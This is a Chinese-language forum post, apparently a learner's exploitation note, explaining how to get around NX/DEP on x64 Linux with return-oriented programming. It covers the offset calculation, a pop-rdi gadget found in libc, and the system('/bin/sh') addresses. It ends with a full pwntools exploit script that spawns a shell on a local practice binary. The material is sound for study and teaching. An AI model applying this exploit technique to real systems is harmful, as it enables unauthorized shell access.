math1as
贫民
贫民
  • UID637346
  • 粉丝0
  • 关注0
  • 发帖数0
阅读:0回复:0

pwn learning note|x64 linux DEP的绕过|rop/gadget

楼主#
更多 发布于:2016-07-18 19:46
[i=s] 本帖最后由 math1as 于 2016-7-18 19:56 编辑

首先拿到程序dep
使用gdb-peda加载调试

checksec发现开启了NX(dep防护)
在这里也可以用cat /proc/pid/maps的方法来查看
[img=256,105]https://miao.su/images/2016/07/18/29725e.png[/img]
发现栈的内存只有rw,没有执行的权限了
那么这里也是一开始就遇到了一个问题,直接进行buffer覆盖,无法控制rip[img=403,102]https://miao.su/images/2016/07/18/3b1693.png[/img]
一开始以为是rsp被破坏了,然后自己找了一番资料
基本上是由于x86和x64平台区别的原因
那么是什么导致了异常而rip无法跳转呢?
原因如下:程序使用的地址不能大于0x00000007ffffff.....
这里我们试着用小于这个数值的buffer去填充
果然,成功的控制了rip的数值
但是我们的pattern字符串并不小于这个数值,所以需要找一个方法
ret指令等效于pop rip;ret,因此我们可以用$rip的值来计算偏移
pattern offset $rip[img=550,117]https://miao.su/images/2016/07/18/475566.png[/img]
得到了72,因此我们的buffer长度填充为72个A
那么在开启了NX的情况下无法直接执行栈中填充的shellcode,所以我们这里使用rop来跳过
那么另外x64平台下还有一个问题
先放一张wiki的图
[img=342,279]https://miao.su/images/2016/07/18/5815ad.png[/img]
这是在x86环境下,栈的结构图,基本上可以看到,入栈的param先填满高地址,最后是函数返回地址
但是在x64的环境下,函数参数的传递首先由6个寄存器进行,多余的参数再进行入栈操作
那么第一个用到的寄存器就是rdi,也就是说,我们无法通过直接覆盖栈的方式来传递参数了
这里我们最终想的是调用system函数来执行/bin/sh
所以说,需要用到gadget了,这是存在内存中,每次执行一条语句后就会ret的汇编指令
使用ROPgadget来进行搜寻,你可以用pip install的方式来安装它
在程序中我们并没有搜索到想要的代码,所以我们在它链接的libc.so中搜索
首先使用ldd ./dep命令来查看他调用的libc.so
然后我们就可以搜索要用的gadget了

 ROPgadget --binary xxx.libc.so --only "pop|ret"
[img=550,66]https://miao.su/images/2016/07/18/7fb287.png[/img]
使用其中的一条pop rdi指令来把/bin/sh对应的字符串地址弹到rdi中。
那么最后一步了,如何确定/bin/sh的位置和system的地址呢
在不开启aslr的情况下,gdb中直接用print system来查看其地址
然后用pwntools里的symbols功能来计算偏移量和查找/bin/sh
当然,你也可以直接用gdb来find "/bin/sh"
然后用socat把这个程序运行在6666端口
执行我们的payload
[img=550,117]https://miao.su/images/2016/07/18/9dcb7d.png[/img]
那么成功的获取了一个system执行的/bin/sh的shell
完整的脚本代码如下:

[mw_shl_code=python,true]    #!/usr/bin/python
    from pwn import *
    #test=process('./dep')
    test=remote('127.0.0.1',6666)
    libc = ELF('./libc-2.19.so')
    systemaddr=0x7ffff7a72490
    sh_offset=next(libc.search('/bin/sh')) -libc.symbols['system']
    ret_offset=0x0000000000022482 - libc.symbols['system']
    ret_addr=p64(systemaddr+ret_offset)
    sh_addr=p64(systemaddr+sh_offset)
    print ret_offset
    ret_addr=p64(0x7ffff7a53482)
    systemaddr=p64(systemaddr)
    buffer='A'*72
    payload=buffer+ret_addr+sh_addr+systemaddr
    test.send(payload)
    test.interactive()[/mw_shl_code]



游客

返回顶部